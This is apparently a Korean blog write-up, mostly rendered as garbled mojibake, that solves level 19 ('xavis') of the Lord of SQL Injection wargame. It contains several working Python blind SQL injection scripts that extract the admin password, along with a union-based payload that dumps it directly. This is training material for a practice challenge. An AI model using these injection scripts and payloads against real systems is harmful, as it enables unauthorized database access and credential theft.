Lord of sql injection [19]
- -
๋ฌธ์ ํ์ด์ ์์์ 19๋ฒ ๋ฌธ์ ๋
๋ฌธ์ ํ์ด๊ณผ์ ์์ "๋ฌธ์ ๋ฅผ ํด๊ฒฐํ๋ค"๋ ๋ชฉ์ ๋ณด๋ค, ๋ค๋ฅธ ๋ง์ ์ฐํ๊ธฐ๋ฒ๊ณผ, ๊ทธ์ธ์ ๋ง์ ์ง์์
์ป์ด ๊ฐ ์ ์๋ ๋ฌธ์ ์์ด ๋ถ๋ช ํด์, ๊ธธ๊ฒ ์ป์ ์ง์๋ค์ ๋์ดํด ๋์์ผ๋
ํด๋ต๋ง ๋ณด๊ณ ์ถ์ผ์ ๋ถ๋ค์ ๋ฐ๋ก ๊ทธ๋ฅ ์๋๋ก ๋ด๋ ค์ฃผ์ธ์.
[๋ฌธ์ 19]
์ค์ admin์ pw์ ์ผ์น ํด์ผ ํด๊ฒฐ๋๋ ๋ฌธ์ ์ ๋๋ค.
like๋ฅผ ๋ง๊ณ ์๋ค์.
์ฒ์ ์ฝ๋๋ฅผ ๋ณผ๋ ์ด? ๋ง๋๊ฒ ๋ณ๋ก ์๋ค?! ๋๋ฌด ์ฌ์ด๊ฑฐ ์๋...!?........๊ฐ..?
๋ค, ์ค์์๊ณ ์
์ผ๋จ ์ฐธ์ผ ๋ hello admin์ ์ถ๋ ฅ์์ผ์ฃผ๋, blind sql injection์ผ๋ก ๋ณด๊ณ ํ๊ฑด๋ฐ............
์ ์๋ฌด๋ฆฌ ์๊ฐํด๋ ์ regex() ์ ๊ทํํ์?์ด ์ ๋งํ์ง ๋ชจ๋ฅด๊ฒ ๋ค์.
์ผ๋จ ๊ธธ์ด๋ฅผ ์์๋ด๋ณด๊ฒ ์ต๋๋ค.
๊ธฐ์กด ์ฝ๋์๋ ๊ฐ์ด ์ ๋ด๊ธฐ๊ธธ๋ num ์ ๊ฐ์ ๋๋ ค ์ค ํ ์ฝ๋๋ฅผ ์คํ์์ผ๋ดค๋๋,
import requests
from bs4 import BeautifulSoup
query1 = "\'or length(pw)=%d #"
dbname =[]
#print("์ํ ์ฝ๋ : ",res.status_code)
print("========= Blind SQL injection ===========")
# 1. ์ฌ์ฉํ๊ณ ์๋ DB ๊ธธ์ด ์์๋ด๊ธฐ.
print("######################data ๋ถ์ ์ค")
for num in range(0, 100):
dbname = [query1 % num]
cookies = {'PHPSESSID': '85440fct0n9jjuk00t1rdl7tpo'}
params = {'pw': dbname}
res = requests.get('https://los.rubiya.kr/chall/xavis_04f071ecdadb4296361d2101e4a2c390.php', params=params, cookies=cookies)
code = res.text # ์ ์ฒด ์ฝ๋
search = "Hello admin" # ์ฐธ์ผ์ ๋์ค๋ ๊ฒฐ๊ณผ ๊ฐ
if search in code:
print("Password Length : ",num)
break
print("###########################์๋ฃ")
๊ฒฐ๊ณผ๋ '12' ์์ต๋๋ค.
์๋ ์ฝ๋๋ g0pher.tistory.com/m/400
๋์ ๋ธ๋ก๊ทธ์์ ๊ฐ์ ธ์จ ์ฝ๋์ ๋๋ค.
๊ทธ๋ฅ ์ฝ๋๊ฐ ๋ฏธ์น๊ฒ ๊ฐ์์....์ ์ง์ง ์ด๋ป๊ฒ ์ด๋ฐ ์ฝ๋๊ฐ ๋์ค๋์ง ์ ๋จธ๋ฆฌ๋ก๋ ์ฌ์ค ์ฝ๋ ์ดํด๊ฐ ์
์๋๋ค์...
import requests
url = "https://los.rubiya.kr/chall/xavis_04f071ecdadb4296361d2101e4a2c390.php"
session = {'PHPSESSID': '85440fct0n9jjuk00t1rdl7tpo'}
data = {}
flag = ""
print("flag : ", end='')
for i in range(1, 4):
a = 0
b = 100000
while b - a != 0:
center = a + (b - a) // 2 + 1
data['pw'] = "' or id='admin' and ord(mid(pw," + str(i) + ",1))<" + str(center) + "#"
res = requests.get(url, params=data, cookies=session)
if "Hello admin" in res.text:
b = center - 1
else:
a = center
print(chr(a), end='')
flag = flag + chr(a)
data['pw'] = flag
res = requests.get(url, params=data, cookies=session)
if "Clear!" in res.text:
print("\n XAVIS Clear!")
flag๋ฅผ ์ฐพ์์ผ๋ฉด ๊ฐ์ ๋ฃ์ด์ค๋๋ค.
Clear
์ด ๋ฌธ์ ๋ฅผ ํ๋ฉด์ ์..์ธ์์ ์ฒ์ฌ๊ฐ ์ฐธ ๋ง๊ตฌ๋....
์ ๋ง ์ด๋ ต๊ฒ ์ดํดํ ๋ฌธ์ ์์ต๋๋ค..(์ ๊ฐ ์ค์ค๋ก ํ์ด๋ณด๊ณ ์ถ์๋๋ฐ ์ค๋ ์ฝ์ง ๋์๋ ์๋ ์ง์์ด ์ ๋ฌดํ๋ค๋ณด๋ ์ด๋ ต๋ค์.)
ํธ๋ ๊ฒ๋ ์ด๋ ต์ง๋ง ํ์ด๋ฅผ ์ดํดํ๋ ๊ฒ๋ ๋ง๋ง์น ์๋ค์..
1. ์ฝ์ง์ ๊ณผ์ (ordํจ์์ ํ์ฅ ์์คํค์ฝ๋๋ฅผ ์๊ณ ์ถ๋ค๋ฉด?)
โผ โผ โผ
์ฟผ๋ฆฌ๋ฅผ ์ ๋ ฅํด๋ณด์๋๋,
![](https://blog.kakaocdn.net/dn/c0XSCs/btqID6YwKAo/c3kxwNMSfBBX4IDKAhCtR0/img.png)
hello admin์ด ๋ณด์ ๋๋ค.
pw๋ฅผ ์ฐพ๊ธฐ์ํด ์ด์ ์ ์ฐ๋ ํ์ด์ฌ ์ฝ๋๋ฅผ ์ฌ์ฉํด๋ณด์๋๋ฐ์,
![](https://blog.kakaocdn.net/dn/sEbXs/btqIAO48ShD/vuKTliKGf6E96eTCHkkQek/img.png)
๋ชจ๋ ๊ฐ์ด 0 ์ด ๋์๋ค์.
ํน์๋ ํ๋ ๋ง์์ ํ์ธ ์ฐจ ๊ฐ์ ๋ฃ์ด๋ณด์๋๋ฐ,
![](https://blog.kakaocdn.net/dn/xejYC/btqIM79WJ9Q/FnIGi9HIyXsZ73rUssKlOk/img.png)
ํน์ ๋ต์ 000000000000 ????!?!?
๋ค ์๋๊ณ ์;
![](https://blog.kakaocdn.net/dn/brmwzQ/btqIOak5gPy/maTGdzJeM78LVUAhpQjqY0/img.png)
์ 0์ด ๋์จ๊ฑธ์ง ํ์ฐธ ๊ณ ๋ฏผํด๋ดค์ต๋๋ค. ํน์๋ ํ๋ ๋ง์์ ์ด์ ์ ์ผ๋, ์ด๋ ๋ธ๋ก๊ทธ์์ ์ฐธ๊ณ ํด์ ๊ฐ์ ธ์จ
bit์ฐ์ฐ ์ฝ๋๋ฅผ ๊ฐ์ ธ์๋๋ฐ
![](https://blog.kakaocdn.net/dn/bC8lyW/btqIBNrpN0s/KDu7qPb9lwnlolarWFDcIK/img.png)
๋ฌด์ธ๊ฐ ๋์ค๊ธฐ๋ ํ๋ค์, ๋นํธ๋ก ์ฐ์ฐํ๋ ๋ฌธ์ ์ธ ๊ฒ ๊ฐ์ต๋๋ค.
๊ทธ๋์ ๋ฃ์ด๋ดค๋๋ฐ, ๋ค ์ญ์ ์๋๋ค์. (๋ง์ถคํ ์ฝ๋๋ ์๋๋๊น.^^..)
์ด๋ ๊ฒ ํ 2์๊ฐ ์ ๋ ์ฝ์ง์ ํ๊ณ ๊ฒฐ๊ตญ ๋ค๋ฅธ ๋ถ๋ค์ ๋ธ๋ก๊ทธ๋ฅผ ์ฐธ๊ณ ํ์ฌ
ord๋ผ๋ ํจ์๊น์ง ์๊ฒ ๋์๋๋ฐ, ๊ฒฐ๊ตญ ๊ทธ ๋ํ ํด๊ฒฐ๋ฐฉ๋ฒ์ด ์๋์์ด์...;
(rubiya๋ ์์ฌ์ ๋ค๋ฅธ ๋ฌธ์ ์ธ๋ฐ ๋ฒํธ๋ง ๊ฐ์๋ฏ)
![](https://blog.kakaocdn.net/dn/bj0WbK/btqIKr8XO8Q/aA0DTDTLzIAtbRhjyXxkfK/img.png)
![](https://blog.kakaocdn.net/dn/beD0j6/btqIFxICqzS/nSU4E3hhkYaojlfhI3eOPk/img.png)
255๊น์ง ๋์๋ ๊ฐ์ด ์๋ฝํ์ ๋ค๋ฅธ ๋ฐฉ๋ฒ์ ์๋ํด๋ณด์์ต๋๋ค..;;
์ผ๋จ ์ ์คํ ์ฝ๋๋ ์ด๊ฒ๋๋ค.
import requests
from bs4 import BeautifulSoup
query1 = "\' or ord(substr(pw,%d,1))= %d #"
dbname = []
password = []
word = ['\'a\'', '\'b\'', '\'c\'', '\'d\'', '\'e\'', '\'f\'', '\'g\'',
'\'h\'', '\'i\'', '\'j\'', '\'k\'', '\'l\'', '\'m\'', '\'n\'', '\'o\'', '\'p\'', '\'q\'', '\'r\'', '\'s\'',
'\'t\'', '\'u\'', '\'v\'', '\'w\'', '\'x\'', '\'y\'', '\'z\'', '1', '2', '3', '4', '5', '6', '7', '8', '9', '0']
#print("์ํ ์ฝ๋ : ",res.status_code)
print("========= Blind SQL injection ===========")
# 1. ์ฌ์ฉํ๊ณ ์๋ DB ๊ธธ์ด ์์๋ด๊ธฐ.
print("######################data ๋ถ์ ์ค")
num = 1
while num <= 12:
for i in range(1,256):
dbname = [query1 % (num, i)]
cookies = {'PHPSESSID': '85440fct0n9jjuk00t1rdl7tpo'}
params = {'pw': dbname}
res = requests.get('https://los.rubiya.kr/chall/xavis_04f071ecdadb4296361d2101e4a2c390.php', params=params, cookies=cookies)
code = res.text # ์ ์ฒด ์ฝ๋
search = "Hello admin" # ์ฐธ์ผ์ ๋์ค๋ ๊ฒฐ๊ณผ ๊ฐ
if search in code: #์ฝ๋์์ ์ฐธ์ผ ์ ๋์ค๋ ๊ฐ์ด ๋ค์ด๊ฐ ์๋ค๋ฉด
print(num,"Data : ", i)
#print(dbname)
break
num = num+1
print("###########################์๋ฃ")
print('pwd : ', '_'.join(password))
(์ ์ฝ๋๋ rubiya๋ฒ์ ๋ง๊ณ ์ด์ ๋ฒ์ los์ 19๋ฒ ๋ฌธ์ ๋ฅผ ํ๋ ์ฌ์ฉํ์๋ฉด ๋ ๊ฒ ๊ฐ์ต๋๋ค.)
๋ค๋ฅธ ๋ถ๋ค์ ํด์ค์ ๋ณด์๋๋ฐ ์ฒซ๊ธ์์ ๊ธธ์ด๊ฐ 4 ์ฆ, 4byte์ด๊ธฐ ๋๋ฌธ์
![](https://blog.kakaocdn.net/dn/dojxkr/btqID7pNFmB/rZdX8WDWcQMHMGmCc3dDlk/img.png)
์ ๋์ฝ๋๋ผ๊ณ ํฉ๋๋ค. ์ ๊ฐ ์ด๋ถ๋ถ์ ๋ํด์ ์ ์บ์น๋ฅผ ๋ชปํ์๋๋ฐ ์ ์ฌ์ดํธ๋ค์ ์ดํด๋ณด๋ฉด ์ ๋์ฝ๋๊ฐ
UTF-8 ๋ฌธ์์ ๊ฒฝ์ฐ ๊ฐ ๋ฌธ์๋ฅผ 1~4Byte๊น์ง ์ฌ์ฉํ๋ฏ๋ก, ํ๊ธ์ ํ ๊ธ์๋น 1~4Byte์ ๊ธธ์ด๊ฐ ๋ฐํ๋์ด ์ ํํ ๋ฌธ์์ด์ ๊ธธ์ด๋ฅผ ์ ์ ์๋ค๊ณ ํฉ๋๋ค.
![](https://blog.kakaocdn.net/dn/cShBA6/btqIObqSJNt/nszCiK8fjksBjHmoWGkLpk/img.png)
์ฆ, ์ ๋์ฝ๋(ํ์ฅ ์์คํค ์ฝ๋)๋ผ๊ณ ํ๋๊ตฐ์.
์ ๋ ์ด๋ฒ์ ์ ๋์ฝ๋์ ํ์ฅ ์์คํค ์ฝ๋์ ๊ด๊ณ๋ฅผ ์ฒ์ ์๊ฒ๋์์ต๋๋ค.
![](https://blog.kakaocdn.net/dn/RDhKU/btqIObqSUyE/LmccvpzYadlT4MGkIjhGm1/img.png)
![](https://blog.kakaocdn.net/dn/Mi8d8/btqIPQGMFVC/qy3ziAzGRUKRT9w7PK4JFk/img.png)
ํ์ฌํผ.. ordํจ์์ ๋ํด ๊ฐ๋จํ ์์๋ณด๊ฒ ์ต๋๋ค.
[php] ASCII ๊ด๋ จ ํจ์ chr, ord
โ chr (ASCII ๋ฒํธ) : ASCII ๋ฒํธ์ ํด๋นํ๋ ๋ฌธ์๋ฅผ ๋ฆฌํด โ ord ("๋ฌธ์") : ๋ฌธ์์ ํด๋นํ๋ ASCII ๋ฒํธ๋ฅผ ๋ฆฌํด * ์์ ๋ ํจ์๋ ๋ชจ๋ 1๋ฐ์ดํธ์ ๋ฌธ์๋ฅผ ์ฒ๋ฆฌํ๋ ํจ์๋ค. ๋ฐ๋ผ์ ํ๊ธ๊ณผ..
zkdlwnfm.tistory.com
์ ๋ธ๋ก๊ทธ ์ฐธ๊ณ ํด์ฃผ์ธ์.
>> My sql ๋ด์ฅํจ์์๋ ord()ํจ์๊ฐ ์กด์ฌํจ.
์ด ํจ์๋ ๋ฌธ์์ด์ ๊ฐ์ฅ ์ผ์ชฝ ๋ฌธ์๊ฐ ๋ฉํฐ๋ฐ์ดํธ์ผ ๊ฒฝ์ฐ, ๊ณต์์ ์ด์ฉํ์ฌ ASCII ์ ์ ๊ฐ์ผ๋ก ๋๋ ค์ค๋ค.
2. ์ด ๋ฌธ์ ์ ํ์ด ๊ณผ์
โผ โผ โผ
์ด ๋ฌธ์ ๋ ํ์ด๊ณผ์ ์ด ๋งค์ฐ ๋ค์ํ๋๋ฐ์,
๋ํ์ ์ธ ๋ฐฉ๋ฒ ๋๊ฐ์ง๋ฅผ ์ฐธ๊ณ ํด์ ์ฌ๋ฆฌ๋ ค๊ณ ํฉ๋๋ค.
๋ฐฉ๋ฒ 1)
4byte * 3 = 12
๊ธธ์ด๊ฐ 12 ๋ผ๋๊ฑด 3๊ธ์ (ํ๊ธ) ์ด๋ผ๊ณ ์ ์ถํ ์ ์์.
๊ทธ๋ ๊ธฐ ๋๋ฌธ์ hex๋ผ ์์ํ๊ณ hex๊ฐ์ผ๋ก pw๋ฅผ ๊ตฌํด๋ด ๋๋ค.
hex -> chr() ๋ก ๋ฐ๊ฟ์ ์ ๋ต์ ๊ตฌํ๋๊ฑฐ์ฃ .
![](https://blog.kakaocdn.net/dn/bKCPmH/btqIBPbSMqW/tovDo7GiU6AeIKkRruqAfk/img.png)
์์ ๊ฐ์ ์์ผ๋ก ์ดํดํ์๋ฉด ๋๊ฒ ์ต๋๋ค.
์ผ๋จ ์ ๊ฐ ํ์ด๋ฅผ ๋ณด๋ฉด์ ํ๋ค๊ฐ ์ดํด๋ฅผ ํ๋๋ฐ์
์ด๋ฌธ์ ์์ pw๊ธธ์ด๋ ์ด 12byte์์ต๋๋ค.
์ฆ 4byte (utf-32) ์ ๋์ฝ๋๋ผ๋ ์๋ฏธ๋ก 4byte์ ์ ๋์ฝ๋ 3๊ธ์
์ฆ ํ๊ธ 3๊ธ์๋ผ๊ณ ์ถ์ธกํ๊ณ ๊ฐ์ ํ์ฌ ๊ตฌํด๋ณด๋ฉด
0xโโโโโโโโ => ์ด๋ฐํํ๋ก 4byte์ฆ 'ํ๊ธ' ํ๊ธ์๊ฐ ๋์ค๋ ๊ฒ๋๋ค.
hex (=16์ง์)๋ 0x00 => 1byte๋ก 8๋นํธ ์ฆ ํ์๋ฆฌ์๋น 4bit +4bit ์ด 8๋นํธ๋ก 1byte๋ฅผ ์๋ฏธํ๊ณ
8๊ฐ == 4byte๋ฅผ ์๋ฏธํฉ๋๋ค.
๊ทธ๋ ๊ธฐ ๋๋ฌธ์ ๊ฐ์ด ์ด 8*3 = 24 ๊ธ์ ์ฆ 4byte๊ฐ ๋์ค๊ฒ ๋๋ ๊ฒ์ด์ฃ .
์ด์ ๋ฌธ์ ๋ค์ pw๊ฐ์ ๊ฒฝ์ฐ ๋๋ถ๋ถ ์์ด 8๊ธ์ ์ฆ '8byte' ๊ฐ ๋๋ถ๋ถ์ด์๊ธฐ ๋๋ฌธ์ ํท๊ฐ๋ฆด ์ ์์ง๋ง
์ ๋์ฝ๋, ASCII์ฝ๋๋ฑ ๋ถํธ์ฒด๊ณ๋ฅผ ์ดํดํ๋ฉด ์ฝ๊ฒ ์ดํดํ ์ ์๋ ๋ฌธ์ ์ธ๊ฒ ๊ฐ์ต๋๋ค.
์ด์ ํ์ด์ฌ ์ฝ๋๋ฅผ ์์ ํด์
์ด 24๊ธธ์ด์ hex๊ฐ์ ๋ฝ์๋ด๋ณด๋๋ก ํ๊ฒ ์ต๋๋ค.
import requests
from bs4 import BeautifulSoup
query1 = "\' or substr(hex(pw),%d,1)= %s #"
dbname = []
password = []
word = ['\'a\'', '\'b\'', '\'c\'', '\'d\'', '1', '2', '3', '4', '5', '6', '7', '8', '9', '0']
#print("์ํ ์ฝ๋ : ",res.status_code)
print("========= Blind SQL injection ===========")
# 1. ์ฌ์ฉํ๊ณ ์๋ DB ๊ธธ์ด ์์๋ด๊ธฐ.
print("######################data ๋ถ์ ์ค")
num = 1
while num <= 24:
for src in word:
dbname = [query1 % (num, src)]
cookies = {'PHPSESSID': '85440fct0n9jjuk00t1rdl7tpo'}
params = {'pw': dbname}
res = requests.get('https://los.rubiya.kr/chall/xavis_04f071ecdadb4296361d2101e4a2c390.php', params=params, cookies=cookies)
code = res.text # ์ ์ฒด ์ฝ๋
search = "Hello admin" # ์ฐธ์ผ์ ๋์ค๋ ๊ฒฐ๊ณผ ๊ฐ
if search in code: #์ฝ๋์์ ์ฐธ์ผ ์ ๋์ค๋ ๊ฐ์ด ๋ค์ด๊ฐ ์๋ค๋ฉด
print(num,"Data : ", src)
password += src
break
num = num+1
print("###########################์๋ฃ")
print('pw(24) : ', ''.join(password))
์ด๋ ๊ฒ ๊ธธ์ด๋ฅผ ์๋ค ๊ฐ์ ํ๊ณ ์ฝ๋๋ฅผ ๊ณ ์ณค์ ๋
![](https://blog.kakaocdn.net/dn/bRBLUw/btqIKrVytQw/8Oe0MKmZvEKq6qkdwPNJEk/img.png)
์๋์ฒ๋ผ ๊ฒฐ๊ณผ๊ฐ ๋์ค๋ค์
์ฆ 0000c6b0 // 0000c655 // 0000ad73
์ด 24๊ธ์ 12byte
4byte 'ํ๊ธ' * 3๊ธ์๊ฐ ๋ง๋ค์
python ๋ด์ฅํจ์ chr(i)๋ก ์์คํค(ASCII) ์ฝ๋ ๊ฐ(16์ง์)์ ์ ๋ ฅ๋ฐ์ ๊ทธ ์ฝ๋์ ํด๋นํ๋
๋ฌธ์๋ฅผ ์ถ๋ ฅํด๋ณด๊ฒ ์ต๋๋ค. 16์ง์์ด๋ฏ๋ก, 0x๋ฅผ ๋ถ์ฌ์ค๋๋ค.
![](https://blog.kakaocdn.net/dn/AVQkD/btqIM6wEaff/rB1kNEzwmK6enANIPQjsFK/img.png)
์ ๋ต : '์ฐ์๊ตณ' ์ด ๋์ค๋ค์. ํ์ฅํ?์ธ๊ฒ์ธ์ง ์์ 0000์ด ๊ตณ์ด ์๋ถ์ด๋ ๋๋๋ฐ ๋ถ์ด์์ด์
์ด๊ฒ utf-32ํ์์ผ๋ก ์ ๋ ์ดํดํ์ต๋๋ค.
![](https://blog.kakaocdn.net/dn/0sbHb/btqIKqvBXjP/hl85HdSGKpG8TguD14RhG0/img.png)
์ผ๋จ ์ฒซ๋ฒ์งธ ๋ฐฉ๋ฒ์ผ๋ก ์ ๋ต ํ๋
Clear
๋ฐฉ๋ฒ 2)
์ด ๋ฐฉ๋ฒ์ ๋๋ฌด ์ ๋ฐํ๊ณ ์ฒ์ ๋ณด๋ ๋ฐฉ๋ฒ์ด๋ผ, ๋ณด์๋ง์ ์ ๋ง
์.. ๊ฐ๋ ฅํ๋ค ๋๊ผ์ต๋๋ค.
์ด ๋ฐฉ๋ฒ์
los - xavis
๋ฌธ์ ์์ค์ฝ๋ ์ด๋๊น์ง ํ์๋ los ๋ฌธ์ ์ค ๊ฐ์ฅ ๊น๋ค๋กญ๊ณ ์ง์ฆ ๋๋ ๋ฌธ์ ์ด๋ค. 1. ๋ณ๋ค๋ฅธ ํํฐ๋ง์ ์กด์ฌ ํ์ง ์๋ค. regex, like๋ฅผ ํํฐ๋งํ๊ณ ์๋๋ ์ผ๋จ ์ 2๊ฐ๋ ์ ์ธ ๊ฑฐ๋๊น ๋ฌด์ ์ผ๋จ admin pw๏ฟฝ๏ฟฝ
dorahee.tistory.com
์ด ๋ธ๋ก๊ทธ ์๋ ๋ถ๋ถ์ ๋ด์ฉ์ ํ์ธํด์ฃผ์ธ์. (์๋๋ ๋ธ๋ก๊ทธ ์ฐธ๊ณ ํ ๋จ๊ธด ๊ฒ์ ๋๋ค.)
SELECT @a: =pw FROM prob_xavis
์ด๋ ๊ฒ ์์ ๊ฐ์ด ์ฟผ๋ฆฌ๋ฅผ ์์ฑํ์ ๊ฒฝ์ฐ
prob_xavis ํ ์ด๋ธ์ ์๋ pw ์ปฌ๋ผ ๊ฐ์ @a์ ๋ฃ์ผ๋ผ๋ ๋ป์ด๋ค.
์๋ ๋ณ์ ์์ ๊ฐ์ ๋ฃ๋ ๊ฒ ์์ฒด๋ false๋ฅผ ์๋ฏธํ์ง๋ง
๊ฒฐ๊ณผ ๊ฐ์ ์ถ๋ ฅ์ด ๋๋ค๊ณ ํ๋ค.
pw=%27%20or%20(select%20@a:=pw%20where%20id%20=%20%27admin%27)%20union%20select%20@a--%20
ํจ์ค์๋ ๋ค ์ฟผ๋ฆฌ๋ ์์ ๊ฐ๋ค.
' or (select @a:=pw where id = 'admin') union select @a--
๊ผญ -- ๋ฅผ ํ๊ณ ๋์ %20 ์ฆ ์คํ์ด์ค๋ฅผ ํด์ฃผ์ด์ผ ์คํ์ด ๋๋ค.
๊ฒฐ๊ณผ๋
![](https://blog.kakaocdn.net/dn/cMwgwK/btqIM64BrUD/4E6Xgas1QWYtrP5MD4BJ00/img.png)
์..์ง์ง ์ด๋ฐ์ฟผ๋ฆฌ๋ ๋์ ์ฒ์๋ณธ๋ค..(;)
or๋ก pw๋ฅผ ์ด์ด์ ๊ฐ์ ์ฐธ์ผ๋ก ๋ง๋ค๊ณ , (์๋ ๊ฐ์ false๋๊น, ๋ค์ union ์ผ๋ก @a-- ๋ฅผ ์ค ๊ฒ ๊ฐ์)
์ถ๋ ฅ์ ํด๋ธ๋ค. union์ผ๋ก ์์ ์ถ๋ ฅ๋ฌธ hello + ์ฐ์๊ตณ ( id = admin์ pw๊ฐ)
์ ํจ๊ป ์ถ๋ ฅ์์ผ์ ์ด ๊ฐ์ ์์๋ธ ํ
pw =์ฐ์๊ตณ ์ ํด์ฃผ๋ฉด
๋ฌธ์ Clear
3. ์ฐธ๊ณ ํ๋ฉด ์ข์ ์ฌ์ดํธ
โผ โผ โผ
์์คํค ์ฝ๋, ์ ๋์ฝ๋ ๊ทธ๋ฆฌ๊ณ UTF-8, UTF-16
์ธ์ฝ๋ฉ ๋ถํธํ๋ ์ธ์ฝ๋ฉ์ ์ ๋ณด์ ํํ๋ ํ์์ ๋ณํํ๋ ์ฒ๋ฆฌ๋ ์ฒ๋ฆฌ๋ฐฉ์ ๋ฌธ์ ์ธ์ฝ๋ฉ์ ๋ฌธ์๋ค์ ์งํฉ์ ๋ถํธํ ํ๋ ๋ฐฉ์ → ์ด๋ค ์ ๋ณด๋ฅผ ๋ฏธ๋ฆฌ ์ฝ์ํ ๊ท์น์ผ๋ก ๊ฐ๊ณตํ๋ ๊ฒ์ ๋๋ค. ๋ฌธ์ ๏ฟฝ๏ฟฝ
dingue.tistory.com
los - xavis
๋ฌธ์ ์์ค์ฝ๋ ์ด๋๊น์ง ํ์๋ los ๋ฌธ์ ์ค ๊ฐ์ฅ ๊น๋ค๋กญ๊ณ ์ง์ฆ ๋๋ ๋ฌธ์ ์ด๋ค. 1. ๋ณ๋ค๋ฅธ ํํฐ๋ง์ ์กด์ฌ ํ์ง ์๋ค. regex, like๋ฅผ ํํฐ๋งํ๊ณ ์๋๋ ์ผ๋จ ์ 2๊ฐ๋ ์ ์ธ ๊ฑฐ๋๊น ๋ฌด์ ์ผ๋จ admin pw๏ฟฝ๏ฟฝ
dorahee.tistory.com
whitesnake1004.tistory.com/124
[Lord of SQL_injection] #19 xavis
๋ฌธ์ ๋ฅผ ๋ณด๊ณ 19๋จ๊ณ์ธ๋ฐ ์์ด๋ฆฌ ์ฝ์ง๋ผ๋ ์๊ฐ์ด ๋ค์๋ค. ํํฐ๋ง์ like์ regex๋ฟ์ด๊ณ ๋๊ฐ์ ํ๋ฒํ blind sql injection์ด๋ค ๋ผ๋ ์๊ฐ์ด ๋ค์๋ค. ๊ทธ๋์ ์ ๋ ๋ฐ๋ก ์ฐธ๊ฐ์ ํ์ธํด ๋ณด์๋ค. ๋ฐ๋ก ์ฝ๋๏ฟฝ๏ฟฝ
whitesnake1004.tistory.com
์ด์์ ๋๋ค.. ์ ๋ฌธ์ ์๋ฒฝํ ์ดํดํ๋๋ฐ 2์ผ ๊ฑธ๋ ธ์ด์..^^...
๋ ์ด์ฌํ ํด์ผ๊ฒ ๋ค์....
'Game > los' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
Lord of sql injection [20] (0) | 2020.09.20 |
---|---|
Lord of sql injection [18] (0) | 2020.09.14 |
Lord of sql injection [17] (0) | 2020.09.14 |
Lord of sql injection [16] (0) | 2020.09.13 |
๋น์ ์ด ์ข์ํ ๋งํ ์ฝํ ์ธ
์์คํ ๊ณต๊ฐ ๊ฐ์ฌํฉ๋๋ค